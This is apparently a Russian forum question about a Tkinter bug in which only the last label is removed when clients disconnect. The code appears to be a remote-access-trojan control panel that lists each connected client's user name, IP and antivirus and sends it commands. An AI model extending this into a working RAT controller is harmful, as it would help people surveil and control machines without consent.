Удаляеться только последний лейбл
написал вот такой код:
COLORBG = "green"
COLORFG = "black"
def start():
root = tk.Tk()
f = Frame(root)
f.pack()
def test(ratuser):
user_socket = ratuser
wnw = "TEST"
user_socket.send(wnw.encode("ascii"))
def do_popup(event, ratuser):
m = Menu(root, tearoff = 0)
m.add_command(label="TEST_MESSAGE", command=lambda: test(ratuser))
try:
m.tk_popup(event.x_root, event.y_root)
finally:
m.grab_release()
host ='127.0.0.1'
port = 5555
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host,port))
server.listen()
def serverlistening():
while True:
user_socket, address = server.accept()
command = "info"
user_socket.send(command.encode("ascii"))
response = user_socket.recv(2048).decode("ascii")
res = response.split('*')
user = res[0]
ip = res[1]
antivirus = res[2]
label = Label(f, text=f"USER: {user} IP: {ip} ANTIVIRUS: {antivirus}",width=130, bg=COLORBG,fg=COLORFG)
label.pack()
label.bind("<Button-3>", lambda event, ratuser=user_socket: do_popup(event, ratuser))
def updt():
while True:
wnw = "ping"
try:
user_socket.send(wnw.encode("ascii"))
except:
label.destroy()
sleep(3)
updt = Thread(target=updt)
updt.daemoin = True
updt.start()
serverlistening = Thread(target=serverlistening)
serverlistening.daemoin = True
serverlistening.start()
root.mainloop()
start()
поидеи при подключении он должен создавать лейб, и если юзер не отвечает лейбл должен пропадать, но пропасть может лишь последний лейбл, если открыть 3 юзера сразу и закрыть все их, пропадет лишь последний открытый